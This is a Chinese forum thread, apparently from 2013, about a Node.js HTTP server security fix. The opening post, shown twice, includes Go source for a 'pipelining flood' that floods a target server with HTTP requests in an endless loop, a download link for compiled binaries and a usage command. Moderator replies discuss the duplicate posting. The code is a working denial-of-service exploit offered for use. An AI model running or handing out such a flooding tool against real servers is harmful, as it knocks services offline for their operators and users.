这是一个创建于 4045 天前的主题，其中的信息可能已经有所发展或是发生改变。
以下是官方说明：
This release contains a security fix for the http server implementation, please upgrade as soon as possible.
尽快更新吧，附上测试工具代码
package main
/*
A simple pipelining flood for nodejs
Author pathletboy[at]gmail.com
Date 2013-10-18
*/
import (
"flag"
"log"
"net"
)
func main() {
host := flag.String("host", "", "specify the target")
flag.Parse()
if *host == "" {
flag.PrintDefaults()
return
}
var conn net.Conn
var err error
if conn, err = net.Dial("tcp", *host); err != nil {
log.Fatal(err)
}
for {
if _, err = conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + *host + "\r\nAccept: */*\r\n\r\n")); err != nil {
log.Fatal(err)
}
}
}
编译好的bin(win/linux)
http://pb.itsong.com/floodnode.7z
floodnode -host="xxx.com:xx"
This release contains a security fix for the http server implementation, please upgrade as soon as possible.
尽快更新吧，附上测试工具代码
package main
/*
A simple pipelining flood for nodejs
Author pathletboy[at]gmail.com
Date 2013-10-18
*/
import (
"flag"
"log"
"net"
)
func main() {
host := flag.String("host", "", "specify the target")
flag.Parse()
if *host == "" {
flag.PrintDefaults()
return
}
var conn net.Conn
var err error
if conn, err = net.Dial("tcp", *host); err != nil {
log.Fatal(err)
}
for {
if _, err = conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + *host + "\r\nAccept: */*\r\n\r\n")); err != nil {
log.Fatal(err)
}
}
}
编译好的bin(win/linux)
http://pb.itsong.com/floodnode.7z
floodnode -host="xxx.com:xx"
 |
2
pathletboy OP @GordianZ 不知重复在哪，代码本人自己编写，非网上摘抄，请告知重复内容。
|
 |
3
GordianZ MOD @pathletboy 新闻重复了，遇到类似情况请在已发布主题内回帖。
|
|
4
GordianZ MOD @pathletboy PS, 下次发内容在标题内注明“附 exploit 实现”，不然标题都一样没人知道帖子有什么不同。
|
Select Language